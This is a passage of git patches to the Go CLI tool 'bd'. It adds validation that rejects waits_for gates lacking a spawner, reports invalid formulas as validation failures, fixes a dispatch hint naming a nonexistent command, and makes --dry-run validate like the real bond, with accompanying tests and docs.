"arm-ace", "tester", false, false) + if err == nil { + t.Fatal("buildAttachCloneOpts() error = nil, want --ref + --type conditional to be refused") + } + if !strings.Contains(err.Error(), "--ref cannot be combined with --type conditional") { + t.Errorf("error = %q, want it to name the refused flag combination", err.Error()) + } +} + +// A conditional bond WITHOUT --ref keeps its edge: a sibling arm can wait on +// the molecule, so there is nothing unsatisfiable to work around. +func TestBuildAttachCloneOptsConditionalSiblingKeepsItsEdge(t *testing.T) { + mol := &types.Issue{ID: "bd-patrol", Title: "patrol"} + + opts, err := buildAttachCloneOpts(bondSubgraph(), mol, types.BondTypeConditional, nil, "", "tester", false, false) + if err != nil { + t.Fatalf("buildAttachCloneOpts() error = %v", err) + } + + if opts.AttachToID != mol.ID { + t.Errorf("AttachToID = %q, want %q", opts.AttachToID, mol.ID) + } + if opts.AttachDepType != types.DepConditionalBlocks { + t.Errorf("AttachDepType = %q, want %q", opts.AttachDepType, types.DepConditionalBlocks) + } +} + +// The refusal also has to fire before either bond route runs, so --dry-run +// and the proxied path refuse identically rather than previewing a bond the +// real command rejects. +func TestGatherMolBondInputRefusesConditionalRefArm(t *testing.T) { + cmd := &cobra.Command{Use: "bond"} + registerMolBondFlags(cmd) + if err := cmd.Flags().Set("type", types.BondTypeConditional); err != nil { + t.Fatalf("set --type: %v", err) + } + if err := cmd.Flags().Set("ref", "arm-ace"); err != nil { + t.Fatalf("set --ref: %v", err) + } + + _, err := gatherMolBondInput(cmd, []string{"mol-arm", "bd-patrol"}) + if err == nil { + t.Fatal("gatherMolBondInput() error = nil, want --ref + --type conditional to be refused") + } + if !strings.Contains(err.Error(), "--ref cannot be combined with --type conditional") { + t.Errorf("error = %q, want it to name the refused flag combination", err.Error()) + } +} + +// Without --ref the arm is a sibling, which is satisfiable: the molecule closes +// and then the arm unblocks. That attachment must survive. +func TestBuildAttachCloneOptsSiblingKeepsBlockingAttachment(t *testing.T) { + mol := &types.Issue{ID: "bd-patrol", Title: "patrol"} + + opts, err := buildAttachCloneOpts(bondSubgraph(), mol, types.BondTypeSequential, nil, "", "tester", false, false) + if err != nil { + t.Fatalf("buildAttachCloneOpts() error = %v", err) + } + + if opts.AttachToID != mol.ID { + t.Errorf("AttachToID = %q, want %q", opts.AttachToID, mol.ID) + } + if opts.AttachDepType != types.DepBlocks { + t.Errorf("AttachDepType = %q, want %q", opts.AttachDepType, types.DepBlocks) + } + if opts.ParentID != "" { + t.Errorf("ParentID = %q, want empty without --ref", opts.ParentID) + } +} + +// A parallel bond never blocked, so nesting changes nothing about it. +func TestBuildAttachCloneOptsParallelRefArmKeepsAttachment(t *testing.T) { + mol := &types.Issue{ID: "bd-patrol", Title: "patrol"} + + opts, err := buildAttachCloneOpts(bondSubgraph(), mol, types.BondTypeParallel, nil, "arm-ace", "tester", false, false) + if err != nil { + t.Fatalf("buildAttachCloneOpts() error = %v", err) + } + + if opts.AttachToID != mol.ID { + t.Errorf("AttachToID = %q, want %q", opts.AttachToID, mol.ID) + } + if opts.AttachDepType != types.DepParentChild { + t.Errorf("AttachDepType = %q, want %q", opts.AttachDepType, types.DepParentChild) + } +} diff --git a/cmd/bd/mol_ready_gated.go b/cmd/bd/mol_ready_gated.go index f82d4a980..749a7c7ac 100644 --- a/cmd/bd/mol_ready_gated.go +++ b/cmd/bd/mol_ready_gated.go @@ -113,11 +113,36 @@ func renderGatedReadyMolecules(molecules []*GatedMolecule) error { fmt.Println() } - fmt.Println("To dispatch a molecule:") - fmt.Println(" bd sling --mol ") + stepID, listPos := firstReadyStepID(molecules) + if len(molecules) > 1 && listPos > 0 { + // The example can only name one molecule's step, so point at the entry + // it came from rather than letting it read as the single thing to + // dispatch. Naming the position instead of "the first one" keeps the + // header and the printed ID from ever disagreeing: the first listed + // molecule is not necessarily the one the example belongs to. + fmt.Printf("To dispatch a molecule, assign its ready step to an agent - for #%d above:\n", listPos) + } else { + fmt.Println("To dispatch a molecule, assign its ready step to an agent:") + } + fmt.Printf(" bd assign %s \n", stepID) return nil } +// firstReadyStepID names the ready step of the first listed molecule that has +// one, for use as the example in the dispatch hint, along with that molecule's +// 1-based position in the listing above. The position is 0 when no listed +// molecule has a ready step, in which case the returned ID is a placeholder and +// there is no entry for the hint to point at. Every molecule's own ready step is +// printed in the listing above the hint. +func firstReadyStepID(molecules []*GatedMolecule) (string, int) { + for i, mol := range molecules { + if mol.ReadyStep != nil && mol.ReadyStep.ID != "" { + return mol.ReadyStep.ID, i + 1 + } + } + return "", 0 +} + // findGateReadyMolecules finds molecules where a gate has closed and work can resume. // // Logic: diff --git a/cmd/bd/mol_ready_gated_hint_test.go b/cmd/bd/mol_ready_gated_hint_test.go new file mode 100644 index 000000000..a379edfff --- /dev/null +++ b/cmd/bd/mol_ready_gated_hint_test.go @@ -0,0 +1,134 @@ +package main + +import ( + "io" + "os" + "strings" + "testing" + + "github.com/steveyegge/beads/internal/types" +) + +func renderGatedHint(t *testing.T, molecules []*GatedMolecule) string { + t.Helper() + + oldStdout := os.Stdout + oldJSON := jsonOutput + jsonOutput = false + r, w, err := os.Pipe() + if err != nil { + t.Fatalf("create stdout pipe: %v", err) + } + os.Stdout = w + + renderErr := renderGatedReadyMolecules(molecules) + + _ = w.Close() + var b strings.Builder + _, _ = io.Copy(&b, r) + _ = r.Close() + os.Stdout = oldStdout + jsonOutput = oldJSON + + if renderErr != nil { + t.Fatalf("renderGatedReadyMolecules: %v", renderErr) + } + return b.String() +} + +func hintCommandLine(t *testing.T, out string) string { + t.Helper() + for _, line := range strings.Split(out, "\n") { + if trimmed := strings.TrimSpace(line); strings.HasPrefix(trimmed, "bd ") { + return trimmed + } + } + t.Fatalf("no dispatch command found in output:\n%s", out) + return "" +} + +// The dispatch hint must name a command bd actually has. It previously printed +// "bd sling", which has never existed in this binary. +func TestGatedReadyHintNamesRealCommand(t *testing.T) { + out := renderGatedHint(t, []*GatedMolecule{{ + MoleculeID: "test-mol1", + MoleculeTitle: "Gated molecule", + ReadyStep: &types.Issue{ID: "test-step1", Title: "Resume work"}, + }}) + + fields := strings.Fields(hintCommandLine(t, out)) + if len(fields) < 2 { + t.Fatalf("dispatch hint is not a runnable command: %q", strings.Join(fields, " ")) + } + if _, _, err := rootCmd.Find(fields[1:2]); err != nil { + t.Errorf("dispatch hint names unknown command %q: %v", fields[1], err) + } +} + +func TestGatedReadyHintUsesReadyStepID(t *testing.T) { + out := renderGatedHint(t, []*GatedMolecule{{ + MoleculeID: "test-mol1", + MoleculeTitle: "Gated molecule", + ReadyStep: &types.Issue{ID: "test-step1", Title: "Resume work"}, + }}) + + if got := hintCommandLine(t, out); !strings.Contains(got, "test-step1") { + t.Errorf("dispatch hint = %q, want it to name ready step test-step1", got) + } +} + +// With more than one molecule listed, the header names which listed entry the +// example came from, so it cannot disagree with the ID printed beneath it. The +// first listed molecule is not necessarily the one that has a ready step. +func TestGatedReadyHintHeaderNamesTheEntryItPrinted(t *testing.T) { + gated := func(id, step string) *GatedMolecule { + mol := &GatedMolecule{MoleculeID: id, MoleculeTitle: "Gated molecule"} + if step != "" { + mol.ReadyStep = &types.Issue{ID: step, Title: "Resume work"} + } + return mol + } + + tests := []struct { + name string + molecules []*GatedMolecule + wantEntry string + wantStep string + }{ + { + name: "first listed molecule has the ready step", + molecules: []*GatedMolecule{gated("test-mol1", "test-step1"), gated("test-mol2", "test-step2")}, + wantEntry: "#1 above", + wantStep: "test-step1", + }, + { + name: "example comes from a later molecule", + molecules: []*GatedMolecule{gated("test-mol1", ""), gated("test-mol2", "test-step2")}, + wantEntry: "#2 above", + wantStep: "test-step2", + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + out := renderGatedHint(t, tt.molecules) + if !strings.Contains(out, tt.wantEntry) { + t.Errorf("hint header does not name listing entry %q:\n%s", tt.wantEntry, out) + } + if got := hintCommandLine(t, out); !strings.Contains(got, tt.wantStep) { + t.Errorf("dispatch hint = %q, want it to name ready step %s", got, tt.wantStep) + } + }) + } +} + +func TestGatedReadyHintWithoutReadyStep(t *testing.T) { + out := renderGatedHint(t, []*GatedMolecule{{ + MoleculeID: "test-mol1", + MoleculeTitle: "Gated molecule", + }}) + + if got := hintCommandLine(t, out); !strings.Contains(got, "") { + t.Errorf("dispatch hint = %q, want a placeholder when no ready step is known", got) + } +} From fe5b9d1e0fe57f366f4981ab3afa45dd0f9e0096 Mon Sep 17 00:00:00 2001 From: Harry Miller Date: Tue, 29 Sep 2026 17:09:59 -0700 Subject: [PATCH 247/624] fix(formula): reject a waits_for gate with no spawner, and stop reporting invalid formulas as not found (#5761) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * fix(formula): reject a waits_for gate that has no spawner to wait for waits_for = "all-children" (or "any-children") names no spawner, so collectDependencies infers one from needs[0] and emits no dependency at all when the step has no needs. Validation accepted that step, cooking gave it a gate:all-children label, and the result was a step with zero dependencies that is ready immediately — a fan-in that silently never fans in. Only the label survived to suggest otherwise. Reject it where the intent is still visible, naming both repairs: add needs, or name the spawner with children-of(step-id), which carries its own spawner and stays valid without needs. depends_on is deliberately not accepted as a substitute, because the inference does not read it. The fan-in example in docs/workflows/gates.md taught exactly the broken shape — a summarize step with waits_for and no needs — so it is corrected here alongside, with the spawner step it was missing. * fix(formula): make a validation failure distinguishable from "not a formula" Callers that resolve a name as a formula and fall back to a proto/issue lookup have no way to tell the two apart, so a formula that exists and does not validate is reported as not found and its real error is thrown away. The spawnerless waits_for gate rejected above lands in exactly that path. ErrVarValidation already exists for the same reason, covering bad --var values. Give Validate the matching sentinel; the message it produces is unchanged. Wiring the fallbacks to it is a separate change. * fix(mol): report an invalid formula instead of calling it not found pour, wisp, bond and seed resolve a name as a formula first and fall back to a proto/issue lookup. Any error from the formula path was treated as "this is not a formula", so a formula that exists and fails validation came back as "'' not found as formula or proto ID" — with bd formula list happily showing it. The real error was never printed, and the advice to run bd formula list confirmed the wrong diagnosis. Each fallback now reports a validation failure directly, the way it already does for the bad --var values ErrVarValidation covers. A name that really is not a formula is unaffected. * fix(mol bond): make --dry-run validate the formula the real bond validates resolveOrDescribe resolved a formula name with parser.LoadByName, which never calls Formula.Validate - LoadByName -> loadFormula -> ParseFile does not, and only parser.Resolve does. The real bond path (resolveAndCookFormulaWithVars) calls Resolve, so the dry-run previewed "will cook as proto" for every formula the real bond rejects, including for the waits_for-without-a-spawner rule this branch adds. The function's own comment already promised the opposite. resolveOrDescribe now resolves before it validates provided vars, which also means the --var check runs against the merged formula rather than the unmerged one, so a var declared only in a parent is checked too. The two error wrappings match the real path's, so the routes produce the same message rather than merely the same exit code. TestBdMolBondDryRun_RejectsInvalidFormulaLikeTheRealBond runs both routes against the same invalid formula and asserts they agree - both fail, both name waits_for, neither reports it as "not found as issue or formula". It reproduces the gap against the old code: dry-run previewed a bond the real bond rejects: A: dryrun-invalid-gate (formula -> will cook as proto) Also from review: - validation_sentinel_test.go uses strings.HasPrefix instead of a slice that would panic with index-out-of-range rather than failing cleanly if the message ever shortened. - Step.WaitsFor's field doc now states the needs requirement, and schema_gen.go is regenerated from it, so the generated schema documents the rule the validator enforces. docs/workflows/gates.md already said it. The condition-filtering follow-up is filed as GH#6437: Validate runs inside parser.Resolve, before FilterStepsByCondition, so a spawner dropped by a false condition still reaches collectDependencies as a dangling reference and is skipped silently - the same zero-dependency gate, past the new check. Reported-by: bee-ghosttrack Agent-Signature: claude-code-opus-5-unknown-reasoning on behalf of Harry Miller Co-Authored-By: Claude Opus 5 (1M context) * test(mol bond): assert the dry-run gap in process, not through a subprocess The regression test spawned an embedded bd and ran two CLI invocations, which is the most expensive shape of test in cmd/bd - and cmd/bd already runs 477s of its 600s budget on the macos runner, so the addition timed the package out. The process boundary was never what the test was about. resolveOrDescribe and resolveOrCookToSubgraph are both reachable directly with a molReader that answers "no such issue", and GT_ROOT puts a temp formula dir on formula.DefaultSearchPaths without touching HOME or the working directory. Same assertion - the two routes agree, both name waits_for, neither reports an invalid formula as not found - in 0.03s instead of 18s. Asserting the routes against each other rather than against a literal message is deliberate: it is what stops a validation rule added later from re-opening the same gap. The LoadByName control is now explicit too, since that call still accepting the formula is the reason the bug existed; if it ever starts validating, the comparison stops distinguishing anything and the test says so instead of passing quietly. Second case added while here: the dry-run validated --var values against the UNMERGED formula, so a constraint declared only in a parent went unchecked. Resolving first fixes that as well, and an extends chain with the enum in the parent pins it: dry-run accepted a var value the real bond rejects; the enum is declared only in the parent (real bond said: formula "dryrun-child": variable validation failed: - variable "env": value "staging" not in allowed values [dev prod]) Agent-Signature: claude-code-opus-5-unknown-reasoning on behalf of Harry Miller Co-Authored-By: Claude Opus 5 (1M context) * docs(changelog): move this PR's entry under [Unreleased] The 1.3.0 cut renamed the old [Unreleased] block, so the entry this branch added there now merges cleanly into the released [1.3.0] section (#6643). Agent-Signature: claude-code-opus-5-5-unknown-reasoning on behalf of Harry Miller Co-Authored-By: Claude Opus 5.5 (1M context) * chore(bazel): enumerate the PR's two new test files in go_test srcs Base added cmd/bd/BUILD.bazel and internal/formula/BUILD.bazel after this branch's merge base, so the two untagged _test.go files this PR adds were absent from their go_test srcs lists. Generated by 'make bazel-sync' (bazel run //:gazelle); no hand edits. A second sync is a no-op. * docs(formula): correct the waits_for spawner doc and the dry-run parity claim Maintainer review fixup for the adoption of #5761 (review iteration 1 pre-merge checklist). Wording only -- no control flow changes. internal/formula/types.go: the new Step.WaitsFor doc said "Requires needs (or depends_on)", but Formula.Validate receives only step.Needs and cook infers the spawner solely from Needs[0] (cmd/bd/cook.go:961-962) -- the DependsOn loop never feeds waitsForSpawnerStepID, and the struct doc's "merged during cooking" happens after Validate. A depends_on-only bare gate is therefore correctly rejected: the code and the error message are right, only the comment was wrong, and it shipped into the generated schema surface agents read. docs/workflows/gates.md already states it correctly. Regenerated schema_gen.go with `go generate ./internal/formula/`. CHANGELOG.md: "so it fails on exactly what the real bond fails on" was an overclaim. The dry-run now resolves and validates the way the real bond does, but five later real-path failure surfaces (inline expansions, expansions, aspect load/type, condition filtering) stay outside the preview. Named that boundary rather than claiming total parity. Contributor commits untouched. --------- Co-authored-by: Claude Opus 5 (1M context) Co-authored-by: Gas City Adopt-PR --- CHANGELOG.md | 16 ++ cmd/bd/BUILD.bazel | 1 + cmd/bd/mol_bond.go | 34 ++-- cmd/bd/mol_bond_dryrun_validation_test.go | 160 +++++++++++++++++++ cmd/bd/mol_proxied_server.go | 7 +- cmd/bd/mol_seed.go | 2 +- cmd/bd/pour.go | 7 +- cmd/bd/wisp.go | 7 +- cmd/bd/wisp_proxied_server.go | 7 +- docs/workflows/gates.md | 12 +- internal/formula/BUILD.bazel | 1 + internal/formula/parser_test.go | 61 +++++++ internal/formula/schema_gen.go | 5 +- internal/formula/types.go | 26 ++- internal/formula/validation_sentinel_test.go | 48 ++++++ 15 files changed, 365 insertions(+), 29 deletions(-) create mode 100644 cmd/bd/mol_bond_dryrun_validation_test.go create mode 100644 internal/formula/validation_sentinel_test.go diff --git a/CHANGELOG.md b/CHANGELOG.md index bdd832f5a..3015a51d3 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -528,6 +528,22 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ### Changed +- **A formula with a `waits_for` gate and no spawner to wait for is now + rejected, and an invalid formula is no longer reported as not found.** A gate + step infers its spawner from `needs[0]`, so with nothing to infer from, + cooking stamped the `gate:` label and emitted no dependency edge at + all - a gate bead that never blocks and never resolves. `bd create` already + refused `--waits-for-gate` without `--waits-for`; the formula path was the + outlier. `Formula.Validate` now enforces the same rule. Separately, a + validation failure is distinguishable from "this name is not a formula": + callers that fall back to a proto/issue lookup previously swallowed the real + error and reported `not found as issue or formula`, so an invalid formula + looked like a typo. `bd mol bond --dry-run` also resolves through + `parser.Resolve` now, so it resolves and validates the same way the real + bond does rather than previewing a bond that then errors on those checks. + Later cook transforms (inline expansions, expansions, aspects and + condition filtering) are still only exercised by the real bond. + - **`bd prime` describes the memory split instead of prohibiting `MEMORY.md`** ([#6111](https://github.com/gastownhall/beads/pull/6111), refs [#5169](https://github.com/gastownhall/beads/issues/5169)). The guidance diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index 6a77df6ab..cae4c880c 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -890,6 +890,7 @@ go_test( "migrate_test.go", "migration_freeze_gate_test.go", "mol_bond_compound_label_test.go", + "mol_bond_dryrun_validation_test.go", "mol_bond_gwn_test.go", "mol_bond_proxied_integration_test.go", "mol_bond_ref_attach_test.go", diff --git a/cmd/bd/mol_bond.go b/cmd/bd/mol_bond.go index a3316f820..2a61f0908 100644 --- a/cmd/bd/mol_bond.go +++ b/cmd/bd/mol_bond.go @@ -698,14 +698,28 @@ func resolveOrDescribe(ctx context.Context, s molReader, operand string, vars ma return nil, "", fmt.Errorf("'%s' not found as issue or formula: %w", operand, err) } - // A dry-run must fail the same way the real bond would: an enum/pattern/ - // provided-empty violation in --var values fails resolveOrCookToSubgraph, - // so reporting "will be cooked" here would be a false preview. - if err := formula.ValidateProvidedVars(f, vars); err != nil { - return nil, "", err + // A dry-run must fail the same way the real bond would, and the real bond + // (resolveAndCookFormulaWithVars) resolves inheritance BEFORE it validates + // anything. parser.Resolve is what calls Formula.Validate - LoadByName -> + // loadFormula -> ParseFile never does - so skipping it here previewed a + // successful bond for a formula the real bond rejects, including the + // unspawnable waits_for gate this PR adds. Resolving first also means the + // --var check runs against the merged formula rather than the unmerged + // one, so a var declared only in a parent is checked too. + resolved, err := parser.Resolve(f) + if err != nil { + return nil, "", fmt.Errorf("resolving formula %q: %w", operand, err) } - return nil, f.Formula, nil + // An enum/pattern/provided-empty violation in --var values fails + // resolveOrCookToSubgraph, so reporting "will be cooked" here would be a + // false preview. Wrapped the same way the real path wraps it, so the two + // produce the same message rather than merely the same exit code. + if err := formula.ValidateProvidedVars(resolved, vars); err != nil { + return nil, "", fmt.Errorf("formula %q: %w", operand, err) + } + + return nil, resolved.Formula, nil } // resolveOrCookToSubgraph tries to resolve an operand as an issue ID or formula. @@ -742,10 +756,10 @@ func resolveOrCookToSubgraph(ctx context.Context, s molReader, operand string, v // condition filtering (bd-7zka.1). subgraph, err := resolveAndCookFormulaWithVars(operand, nil, vars) if err != nil { - if errors.Is(err, formula.ErrVarValidation) { - // Don't double-wrap: operand IS a formula, and the --var values - // it was given fail enum/pattern/required-empty constraints, - // which is a distinct condition from "not found". + if errors.Is(err, formula.ErrVarValidation) || errors.Is(err, formula.ErrValidation) { + // Don't double-wrap: operand IS a formula that either does not + // validate or was given --var values failing its enum/pattern/ + // required-empty constraints, both distinct from "not found". return nil, false, err } return nil, false, fmt.Errorf("'%s' not found as issue or formula: %w", operand, err) diff --git a/cmd/bd/mol_bond_dryrun_validation_test.go b/cmd/bd/mol_bond_dryrun_validation_test.go new file mode 100644 index 000000000..f80789236 --- /dev/null +++ b/cmd/bd/mol_bond_dryrun_validation_test.go @@ -0,0 +1,160 @@ +package main + +import ( + "context" + "os" + "path/filepath" + "strings" + "testing" + + "github.com/steveyegge/beads/internal/formula" + "github.com/steveyegge/beads/internal/types" +) + +// noIssuesMolReader answers "no such issue" so an operand falls through to the +// formula registry, which is the only branch these cases exercise. It embeds +// the molReader INTERFACE rather than implementing it, so any read beyond the +// three ResolvePartialID makes panics loudly instead of quietly answering zero. +type noIssuesMolReader struct { + molReader +} + +func (r *noIssuesMolReader) SearchIssues(context.Context, string, types.IssueFilter) ([]*types.Issue, error) { + return nil, nil +} + +func (r *noIssuesMolReader) SearchIssueIDs(context.Context, string, types.IssueFilter) ([]string, error) { + return nil, nil +} + +func (r *noIssuesMolReader) GetConfig(context.Context, string) (string, error) { + return "", nil +} + +// writeSearchableFormula puts a formula where formula.DefaultSearchPaths will +// find it, via the GT_ROOT arm - the one search path a test can set without +// touching HOME or the working directory. +func writeSearchableFormula(t *testing.T, name, body string) { + t.Helper() + root := t.TempDir() + dir := filepath.Join(root, ".beads", "formulas") + if err := os.MkdirAll(dir, 0o755); err != nil { + t.Fatalf("mkdir formulas dir: %v", err) + } + if err := os.WriteFile(filepath.Join(dir, name+".formula.toml"), []byte(body), 0o644); err != nil { + t.Fatalf("write formula: %v", err) + } + t.Setenv("GT_ROOT", root) +} + +// A waits_for gate with no needs: nothing to infer a spawner from, so the +// cooked gate would carry its gate: label and no dependency edge. +const invalidGateFormula = `formula = "dryrun-invalid-gate" +version = 1 +type = "workflow" + +[[steps]] +id = "fanout" +title = "Fan out" +type = "task" + +[[steps]] +id = "gate" +title = "Wait for the children" +type = "task" +waits_for = "all-children" +` + +// A `bd mol bond --dry-run` must fail on exactly what the real bond fails on. +// +// The dry-run path (resolveOrDescribe) resolved a formula with +// parser.LoadByName, which never calls Formula.Validate - only parser.Resolve +// does, and the real path (resolveOrCookToSubgraph -> resolveAndCookFormulaWithVars) +// calls it. So a formula the real bond rejects previewed as a successful bond, +// including for the waits_for-without-a-spawner rule this branch adds. +// +// The two routes are asserted against EACH OTHER rather than against a literal +// message: that is what stops a validation rule added later from re-opening the +// same gap. +func TestBondDryRunRejectsWhatTheRealBondRejects(t *testing.T) { + writeSearchableFormula(t, "dryrun-invalid-gate", invalidGateFormula) + + // The control, and the reason the bug existed: LoadByName alone accepts + // this formula. If this ever starts failing, the two assertions below stop + // distinguishing the routes and this test is no longer about anything. + if _, err := formula.NewParser().LoadByName("dryrun-invalid-gate"); err != nil { + t.Fatalf("LoadByName should still accept an invalid formula (it does not validate): %v", err) + } + + ctx := context.Background() + reader := &noIssuesMolReader{} + + _, _, dryErr := resolveOrDescribe(ctx, reader, "dryrun-invalid-gate", nil) + _, _, realErr := resolveOrCookToSubgraph(ctx, reader, "dryrun-invalid-gate", nil) + + if realErr == nil { + t.Fatal("the real bond accepted an invalid formula, so this test is no longer testing the gap") + } + if dryErr == nil { + t.Fatalf("dry-run previewed a bond the real bond rejects (real bond said: %v)", realErr) + } + + // Both routes must name the actual problem, not "not found as issue or + // formula" - the formula resolved fine, it just does not validate. + for name, err := range map[string]error{"dry-run": dryErr, "real bond": realErr} { + if !strings.Contains(err.Error(), "waits_for") { + t.Errorf("%s error does not name the failing field: %v", name, err) + } + if strings.Contains(err.Error(), "not found as issue or formula") { + t.Errorf("%s reported an invalid formula as not found: %v", name, err) + } + } +} + +// Resolving before validating --var values also closes a second-order gap: the +// real path validates against the MERGED formula, so a var declared only in a +// parent was unchecked by the dry-run, which validated the unmerged one. +func TestBondDryRunValidatesVarsAgainstTheMergedFormula(t *testing.T) { + root := t.TempDir() + dir := filepath.Join(root, ".beads", "formulas") + if err := os.MkdirAll(dir, 0o755); err != nil { + t.Fatalf("mkdir formulas dir: %v", err) + } + write := func(name, body string) { + if err := os.WriteFile(filepath.Join(dir, name+".formula.toml"), []byte(body), 0o644); err != nil { + t.Fatalf("write %s: %v", name, err) + } + } + write("dryrun-parent", `formula = "dryrun-parent" +version = 1 +type = "workflow" + +[vars.env] +enum = ["dev", "prod"] + +[[steps]] +id = "deploy" +title = "Deploy to {{env}}" +type = "task" +`) + write("dryrun-child", `formula = "dryrun-child" +version = 1 +type = "workflow" +extends = ["dryrun-parent"] +`) + t.Setenv("GT_ROOT", root) + + ctx := context.Background() + reader := &noIssuesMolReader{} + vars := map[string]string{"env": "staging"} // not in the parent's enum + + _, _, dryErr := resolveOrDescribe(ctx, reader, "dryrun-child", vars) + _, _, realErr := resolveOrCookToSubgraph(ctx, reader, "dryrun-child", vars) + + if realErr == nil { + t.Fatal("the real bond accepted a var value outside the inherited enum") + } + if dryErr == nil { + t.Fatalf("dry-run accepted a var value the real bond rejects; the enum is declared only in the parent (real bond said: %v)", realErr) + } +} diff --git a/cmd/bd/mol_proxied_server.go b/cmd/bd/mol_proxied_server.go index efb2e1cd0..6136499dc 100644 --- a/cmd/bd/mol_proxied_server.go +++ b/cmd/bd/mol_proxied_server.go @@ -44,9 +44,10 @@ func runPourProxiedServer(ctx context.Context, in pourInput) error { if sg.Phase == "vapor" { warnPourVaporFormula(in.protoArg, in.varFlags) } - } else if errors.Is(err, formula.ErrVarValidation) { - // in.protoArg IS a formula; the --var values it was given fail - // enum/pattern/required-empty constraints. Report that directly + } else if errors.Is(err, formula.ErrVarValidation) || errors.Is(err, formula.ErrValidation) { + // in.protoArg IS a formula; either the formula itself does not + // validate, or the --var values it was given fail enum/pattern/ + // required-empty constraints. Report that directly // instead of falling through to the proto-ID lookup below, which // would otherwise mask this as "not found as formula or proto ID". return HandleError("%v", err) diff --git a/cmd/bd/mol_seed.go b/cmd/bd/mol_seed.go index e8a1de779..b7df281aa 100644 --- a/cmd/bd/mol_seed.go +++ b/cmd/bd/mol_seed.go @@ -78,7 +78,7 @@ func verifyFormula(formulaName string, vars map[string]string) error { // 4. Formula can be cooked to subgraph _, err := resolveAndCookFormulaWithVars(formulaName, nil, vars) if err != nil { - if errors.Is(err, formula.ErrVarValidation) { + if errors.Is(err, formula.ErrVarValidation) || errors.Is(err, formula.ErrValidation) { // Don't double-wrap: the --var values fail enum/pattern/ // required-empty constraints, which is a distinct condition // from the formula itself being inaccessible. diff --git a/cmd/bd/pour.go b/cmd/bd/pour.go index 0278c69d4..5b3b628fd 100644 --- a/cmd/bd/pour.go +++ b/cmd/bd/pour.go @@ -123,9 +123,10 @@ func runPour(cmd *cobra.Command, args []string) error { if sg.Phase == "vapor" { warnPourVaporFormula(in.protoArg, in.varFlags) } - } else if errors.Is(err, formula.ErrVarValidation) { - // in.protoArg IS a formula; the --var values it was given fail - // enum/pattern/required-empty constraints. Report that directly + } else if errors.Is(err, formula.ErrVarValidation) || errors.Is(err, formula.ErrValidation) { + // in.protoArg IS a formula; either the formula itself does not + // validate, or the --var values it was given fail enum/pattern/ + // required-empty constraints. Report that directly // instead of falling through to the proto-ID lookup below, which // would otherwise mask this as "not found as formula or proto ID". return HandleError("%v", err) diff --git a/cmd/bd/wisp.go b/cmd/bd/wisp.go index b1ed09f71..ea5ff1887 100644 --- a/cmd/bd/wisp.go +++ b/cmd/bd/wisp.go @@ -210,9 +210,10 @@ func runWispCreateCore(cmd *cobra.Command, args []string) error { if err == nil { subgraph = sg protoID = sg.Root.ID - } else if errors.Is(err, formula.ErrVarValidation) { - // args[0] IS a formula; the --var values it was given fail - // enum/pattern/required-empty constraints. Report that directly + } else if errors.Is(err, formula.ErrVarValidation) || errors.Is(err, formula.ErrValidation) { + // args[0] IS a formula; either the formula itself does not + // validate, or the --var values it was given fail enum/pattern/ + // required-empty constraints. Report that directly // instead of falling through to the legacy proto-ID lookup below, // which would otherwise mask this as "not found as formula or proto". return HandleError("%v", err) diff --git a/cmd/bd/wisp_proxied_server.go b/cmd/bd/wisp_proxied_server.go index b05792e69..ab9d78798 100644 --- a/cmd/bd/wisp_proxied_server.go +++ b/cmd/bd/wisp_proxied_server.go @@ -37,9 +37,10 @@ func runWispCreateProxiedServer(ctx context.Context, in wispCreateInput) error { if sg, err := resolveAndCookFormulaWithVars(in.protoArg, nil, vars); err == nil { formulaSubgraph = sg formulaProtoID = sg.Root.ID - } else if errors.Is(err, formula.ErrVarValidation) { - // in.protoArg IS a formula; the --var values it was given fail - // enum/pattern/required-empty constraints. Report that directly + } else if errors.Is(err, formula.ErrVarValidation) || errors.Is(err, formula.ErrValidation) { + // in.protoArg IS a formula; either the formula itself does not + // validate, or the --var values it was given fail enum/pattern/ + // required-empty constraints. Report that directly // instead of falling through to the proto-ID lookup below, which // would otherwise mask this as "not found as formula or proto". return HandleError("%v", err) diff --git a/docs/workflows/gates.md b/docs/workflows/gates.md index a2c7cd2f1..6387814c9 100644 --- a/docs/workflows/gates.md +++ b/docs/workflows/gates.md @@ -178,12 +178,22 @@ id = "merge-results" title = "Merge results" needs = ["test-a", "test-b"] # fan-in on named steps +[[steps]] +id = "fan-out" +title = "Spawn a worker per shard" + [[steps]] id = "summarize" title = "Summarize all spawned work" -waits_for = "all-children" # or "any-children", or "children-of(step-id)" +needs = ["fan-out"] # the spawner whose children to wait for +waits_for = "all-children" # or "any-children", or "children-of(fan-out)" ``` +`all-children` and `any-children` wait for the children of `needs[0]`, so a step +using them must declare `needs`; `children-of(step-id)` names the spawner itself +and does not. A bare gate with neither is rejected when the formula is cooked, +because it would wait for no one. + ## Working with gated molecules ```bash diff --git a/internal/formula/BUILD.bazel b/internal/formula/BUILD.bazel index 24e6ae87f..5e53e92d4 100644 --- a/internal/formula/BUILD.bazel +++ b/internal/formula/BUILD.bazel @@ -36,6 +36,7 @@ go_test( "schema_gen_test.go", "schema_test.go", "stepcondition_test.go", + "validation_sentinel_test.go", ], data = [ "schema_gen.go", diff --git a/internal/formula/parser_test.go b/internal/formula/parser_test.go index 0cf01d454..6770ff933 100644 --- a/internal/formula/parser_test.go +++ b/internal/formula/parser_test.go @@ -1022,6 +1022,67 @@ func TestValidate_WaitsForField(t *testing.T) { } } +// A bare all-children/any-children gate takes its spawner from needs[0], so a +// step with no needs gates on nothing: cooking gives it a gate: label, +// no dependency, and immediate readiness. +func TestValidate_WaitsForWithoutSpawner(t *testing.T) { + for _, gate := range []string{"all-children", "any-children"} { + t.Run(gate, func(t *testing.T) { + f := &Formula{ + Formula: "mol-spawnerless", + Version: 1, + Type: TypeWorkflow, + Steps: []*Step{ + {ID: "fanout", Title: "Fanout"}, + {ID: "summarize", Title: "Summarize", WaitsFor: gate}, + }, + } + + err := f.Validate() + if err == nil { + t.Fatalf("Validate() = nil, want an error for %s with no needs", gate) + } + if !strings.Contains(err.Error(), "needs") { + t.Errorf("Validate() error = %q, want it to point at needs", err) + } + }) + } + + t.Run("children-of names its own spawner", func(t *testing.T) { + f := &Formula{ + Formula: 